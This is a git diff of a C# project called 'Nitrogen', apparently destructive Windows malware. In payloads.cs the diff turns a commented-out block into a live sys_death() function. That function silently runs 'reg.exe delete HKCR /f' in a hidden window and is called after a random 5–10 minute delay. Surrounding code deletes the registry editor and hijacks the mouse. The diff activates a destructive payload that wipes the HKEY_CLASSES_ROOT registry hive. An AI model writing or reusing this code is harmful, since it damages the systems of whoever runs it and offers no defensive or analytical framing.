diff --git a/Dll_Imports.cs b/Dll_Imports.cs index 6645816..ec02cf1 100644 --- a/Dll_Imports.cs +++ b/Dll_Imports.cs @@ -1,11 +1,9 @@ using Microsoft.Win32; using System; -using System.Collections.Generic; using System.IO; using System.Linq; using System.Media; using System.Runtime.InteropServices; -using System.Text; namespace Nitrogen { diff --git a/Program.cs b/Program.cs index d840c56..7aaad84 100644 --- a/Program.cs +++ b/Program.cs @@ -1,8 +1,6 @@ using Microsoft.Win32; using System; -using System.Collections.Generic; using System.Diagnostics; -using System.Linq; using System.Threading; using System.Windows.Forms; using static Nitrogen.Dll_Imports; diff --git a/payloads.cs b/payloads.cs index 5e01cca..4eb5609 100644 --- a/payloads.cs +++ b/payloads.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Diagnostics; +using System.Drawing; using System.IO; -using System.Linq; -using System.Media; using System.Runtime.InteropServices; -using System.Text; using System.Threading; using System.Windows.Forms; using static Nitrogen.Dll_Imports; @@ -175,17 +172,6 @@ namespace Nitrogen { File.Delete(regedit); } - - /*ProcessStartInfo registry = new ProcessStartInfo - { - UseShellExecute = true, - FileName = "reg.exe", - Arguments = @"delete HKCR /f", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }; - Process.Start(registry); - */ } catch { } } @@ -352,6 +338,7 @@ namespace Nitrogen thr.Start(); Random rand = new Random(); Thread.Sleep(rand.Next(300000, 600000)); + sys_death(); Environment.Exit(-1); } @@ -361,7 +348,7 @@ namespace Nitrogen while (proces_name.Length == 1) { proces_name = Process.GetProcessesByName("notepad"); - Dll_Imports.SetCursorPos(50, 50); + Cursor.Position = new Point(50, 50); Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero); //Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, 50, 50, 0, UIntPtr.Zero); Thread.Sleep(1); @@ -464,5 +451,17 @@ namespace Nitrogen } } } + public static void sys_death() + { + ProcessStartInfo registry = new ProcessStartInfo + { + UseShellExecute = true, + FileName = "reg.exe", + Arguments = @"delete HKCR /f", + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(registry).WaitForExit(); + } } } diff --git a/variables.cs b/variables.cs index 4f29e20..81a3036 100644 --- a/variables.cs +++ b/variables.cs @@ -1,11 +1,9 @@ using System; -using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Management; using System.Net; using System.Reflection; -using System.Runtime.InteropServices; using System.Text; using System.Threading; using static Nitrogen.Dll_Imports;